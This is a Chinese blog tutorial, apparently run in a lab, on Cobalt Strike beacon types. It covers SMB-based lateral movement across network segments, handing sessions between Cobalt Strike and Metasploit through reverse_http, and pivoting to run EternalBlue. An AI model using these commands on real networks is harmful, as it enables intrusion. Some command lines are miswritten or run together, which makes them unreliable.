Cobalt Strike -- 各种beacon

今天来讲一下cs里面的beacon

其实cs真的功能很强大,自带代理创建,自带beacon通信!!!

一张图,就能说明beacon的工作原理

1.Beacon 

每当有一台机器上线之后,我们都会选择sleep时间,并且进入会话,就是这样

 

可以看见,有一个beacon的字段,每一次我们敲命令的时候,都会再它之后,那么,什么是beacon呢?????

Beacon是Cobalt Strike为高级攻击者建模的Payload。使用Beacon通过HTTP,HTTPS或DNS出口网络。而且Beacon非常灵活,支持异步和交互式通信。异步通信既低又慢。Beacon将通讯本地,下载任务,然后进入睡眠状态。交互式通信实时发生。

在我们点击监听器的时候就能看见这个

下面我们就来分别讲讲这几种beacon的用法

2.DNS Beacon

DNS Beacon,顾名思义就是使用DNS请求将Beacon返回。这些 DNS 请求用于解析由你的 CS 团队服务器作为权威 DNS 服务器的域名。DNS 响应告诉 Beacon 休眠或是连接到团队服务器来下载任务。DNS 响应也告诉 Beacon 如何从你的团队服务器下载任务。

感觉有点听不懂??? 来看一张图片

当我们将dnsbeacon嵌入到靶机的一个程序时候,如果这个smbbeacon运行起来,就会逐级递归的去找我们的服务器,并且通过dns_txt的方式传输数据,缺点是这个会比常规的慢

3.HTTP/HTTPS Beacon

这两个beacon的原理是通过发送http请求与受害主机通信来传达命令, 以此实现控制效果

相比于HTTP的beacon ,HTTPS的beacon多了一个加密传输

配置呢也比较简单,就是绑个ip,然后设置一个端口就好

优点是传输数据快, 缺点是隐蔽性差, 容易被防火墙或内网审计工具拦截

4.SMB Beacon

SMB Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacons连接后,子Beacon从父Beacon获取到任务并发送。

因为连接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB Beacon相对隐蔽,绕防火墙时可能发挥奇效。

在前面提到的三个beacon里面,都是只能用于出网的机器,SMB和TCPbeacon都可以用在不出网和出网的机器!!!

下面是它的原理

这样说起来好像有点干,来个拓扑环境演示一下

抽象点的拓扑

首先是把win7上线了,这个进入内网的第一步,不多说

然后设置smb beacon

然后生成一个多阶段的木马

然后不管通过什么方式,让这个木马丢到下一个目标的机器,并且让他运行起来!!! 

当然,你也要有一个ipc连接

net use \\目标ip\ipc$  "密码" /user:用户名

再link一下 

link 目标ip

就能上线到了 内网的server 

这时候有人就会问了,还能在跨一段网段吗???

肯定可以啊。我们再加一个网段

   还是建立连接,上马,运行,link

这样,就能上线三个网段的机器了(就算是有更多的网段,也是可以的,毕竟windows默认开放445端口,这就是为什么smb beacon 在内网中有奇效) 

不信??? 给你看一下更清晰的图,三层网段!!!!!!

5.TCP Beacon

TCPbeacon也是一般用在上线内网的机器,走的是tcp的协议

先去清空一下环境

创建一个TCP监听器

并且生成对应的stage木马,建立管道,运行

connect 目标ip 端口(一开始tcp监听器的木马)

但是呢???

牛魔的怎么连接不上??

哎,这,翻车了,但是网上说这样是可以的!!!!还是用回smb吧

6.联动beacon

这种beacon可以用于和msf梦幻联动!!!(之前讲过,再讲一遍)

cs(在不添加插件的情况下)的攻击性不强(相对于msf的众多攻击模块),所以我们很多时候就要联动

先去msfconsole监听(payload选reverse_http)

use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lport kali的ip 
set lport 你自己写一个ip
run

再是监听器

spawn一下(前提你要有cs已经上线了机器)

成功上线 

但是,这样也只是联动(装装b还可以),还是没有用到kali的攻击模块,别急有反转!!

这里用到pivot模块,(其实就是把它当作一台开了socks服务的服务器)

开启服务

开始操作

复制下面这段话

回到msfconsole background一下

然后去敲上这条命令

setg Proxies socks4:192.168.246.153:20987
set ReverseAllowProxy true

然后你就可以用永恒之蓝打内网了

但是大部分都是不行的!!!! (看别人试过也是这样不行)一旦跨了一个网段,就是能扫出漏洞,但是打不进去(真的很奇怪)可能是虚拟机的问题吧!!

7.MSF联动CS

上面讲了cs联动msf,但是一般我们都是先上线msf,再上线的cs啊,别急,还是有反转!!!

我把上面那台打不到的机器放在了外网,瞬间就能打到了(大无语事件)

然后按照以下命令敲

bguse exploit/windows/local/payload_injectset payload windows/meterpreter/reverse_httpset lhost "cs的ip"set lport  "cs的端口"set disablepayloadhandler truerun

然后去cs配置监听

然后就能上线了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/768483.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

吴恩达2022机器学习专项课程(一) 3.6 可视化样例

问题预览 1.本节课主要讲的是什么? 2.不同的w和b,如何影响线性回归和等高线图? 3.一般用哪种方式,可以找到最佳的w和b? 解读 1.课程内容 设置不同的w和b,观察模型拟合数据,成本函数J的等高线…

nodejs+vue高校洗浴管理系统python-flask-django-php

高校洗浴管理系统采用数据库是MySQL。网站的搭建与开发采用了先进的nodejs进行编写,使用了express框架。该系统从两个对象:由管理员和学生来对系统进行设计构建。主要功能包括:个人信息修改,对学生管理、浴室信息、浴室预约、预约…

【JavaEE初阶系列】——阻塞队列

目录 🚩阻塞队列的定义 🚩生产者消费者模型 🎈解耦性 🎈削峰填谷 🚩阻塞队列的实现 📝基础的环形队列 📝阻塞队列的形成 📝 内存可见性 📝阻塞队列代码 &#…

【深度学习】pytorch,MNIST手写数字分类

efficientnet_b0的迁移学习 import torch import torch.nn as nn import torch.optim as optim import torchvision.transforms as transforms from torchvision.datasets import MNIST from torch.utils.data import DataLoader from torchvision import models import matplo…

IntelliJ IDE 插件开发 | (七)PSI 入门及实战(实现 MyBatis 插件的跳转功能)

系列文章 IntelliJ IDE 插件开发 |(一)快速入门IntelliJ IDE 插件开发 |(二)UI 界面与数据持久化IntelliJ IDE 插件开发 |(三)消息通知与事件监听IntelliJ IDE 插件开发 |(四)来查收…

android Fragment 生命周期 方法调用顺序

文章目录 Introlog 及结论代码 Intro 界面设计:点击左侧按钮,会将右侧 青色的RightFragment 替换成 黄色的AnotherRightFragment,而这两个 Fragment 的生命周期方法都会打印日志。 所以只要看执行结果中的日志,就可以知道 Fragme…

【单例测试】Mockito实战

目录 一、项目介绍二、业务代码2.1 导入依赖2.2 entity2.3 Dao2.4 业务代码 三、单元测试3.1 生成Test方法3.2 引入测试类3. 3 测试前准备3.4 测试3.4.1 name和phone参数校验3.4.2 测试数据库访问 3.4.3 数据库反例 总结 前面我们提到了《【单元测试】一文读懂java单元测试》 简…

IDEA Android新建项目基础

title: IDEA Android基础开发 search: 2024-03-16 tags: “#JavaAndroid开发” 一、构建基本项目 在使用 IDEA 进行基础的Android 开发时,我们可以通过IDEA自带的新建项目功能进行Android应用开发基础架构的搭建,可以直接找到 File --> New --> …

基于nodejs+vue学生作业管理系统python-flask-django-php

他们不仅希望页面简单大方,还希望操作方便,可以快速锁定他们需要的线上管理方式。基于这种情况,我们需要这样一个界面简单大方、功能齐全的系统来解决用户问题,满足用户需求。 课题主要分为三大模块:即管理员模块和学生…

上位机图像处理和嵌入式模块部署(qmacvisual轮廓查找)

【 声明:版权所有,欢迎转载,请勿用于商业用途。 联系信箱:feixiaoxing 163.com】 前面我们说过,图像的处理流程一般都是这样的,即灰度化-》降噪-》边缘检测-》二值化-》开闭运算-》轮廓检测。虽然前面的几个…

LeetCode 面试经典150题 14.最长公共前缀

题目: 编写一个函数来查找字符串数组中的最长公共前缀。 如果不存在公共前缀,返回空字符串 ""。 思路: 代码: class Solution {public String longestCommonPrefix(String[] strs) {if (strs.length 0) {return &…

知攻善防应急靶场-Linux(2)

前言: 堕落了三个月,现在因为被找实习而困扰,着实自己能力不足,从今天开始 每天沉淀一点点 ,准备秋招 加油 注意: 本文章参考qax的网络安全应急响应和知攻善防实验室靶场,记录自己的学习过程&am…

python绘图matplotlib——使用记录1

本博文来自于网络收集,如有侵权请联系删除 使用matplotlib绘图 1 常用函数汇总1.1 plot1.2 legend1.3 scatter1.4 xlim1.5 xlabel1.6 grid1.7 axhline1.7 axvspan1.8 annotate1.9 text1.10 title 2 常见图形绘制2.1 bar——柱状图2.2 barh——条形图2.3 hist——直…

flutter3_douyin:基于flutter3+dart3短视频直播实例|Flutter3.x仿抖音

flutter3-dylive 跨平台仿抖音短视频直播app实战项目。 全新原创基于flutter3.19.2dart3.3.0getx等技术开发仿抖音app实战项目。实现了类似抖音整屏丝滑式上下滑动视频、左右滑动切换页面模块,直播间进场/礼物动效,聊天等模块。 运用技术 编辑器&#x…

Netty剖析 - Why Netty

文章目录 Why NettyI/O 请求的两个阶段I/O 模型Netty 如何实现自己的 I/O 模型线程模型 - 事件分发器(Event Dispather)弥补 Java NIO 的缺陷更低的资源消耗网络框架的选型Netty 发展现状Netty 的使用 Why Netty I/O 模型、线程模型和事件处理机制优化&a…

php搭建websocket

1.项目终端执行命令:composer require topthink/think-worker 2.0.x 2.config多出三个配置文件: 3.当使用php think worker:gateway命令时,提示不支持Windows。 4.打包项目为zip格式 5.打包数据库 6.阿里云创建记录 7.宝塔面板新增站点…

Vue3 上手笔记

1. Vue3简介 2020年9月18日,Vue.js发布版3.0版本,代号:One Piece(n 经历了:4800次提交、40个RFC、600次PR、300贡献者 官方发版地址:Release v3.0.0 One Piece vuejs/core 截止2023年10月,最…

网盘——数据库操作

关于网盘的数据库模块,主要有以下几个内容:定义数据库操作类、将数据库操作类定义成单例模式、数据库操作 数据库是在Qt里面,定义成操作类,专门用这个类产生对象,对数据库实现操作,那么我们在产生对象的时…

BMS设计中的短路保护和MOSFET选型(下)

二、MOSFET参数 1、电气参数 (1)VGS :加在栅源两极之间的最大电压,一般为:-20V-+20V。 VGS额定电压是栅源两极间可以施加的最大电压。设定该额定电压的主要目的是防止电压过高导致的栅氧化层损伤。实际栅氧化层可承受的电压远高于额定电压,但是会随制造工艺的不同而改变…

01-机器学习概述

机器学习的定义 机器学习是一门从数据中研究算法的科学学科。 机器学习直白来讲, 就是根据已有的数据,进行算法选择,并基于算法和数据 构建模型,最终对未来进行预测。 机器学习就是一个模拟人决策过程的一种程序结构。 机器学…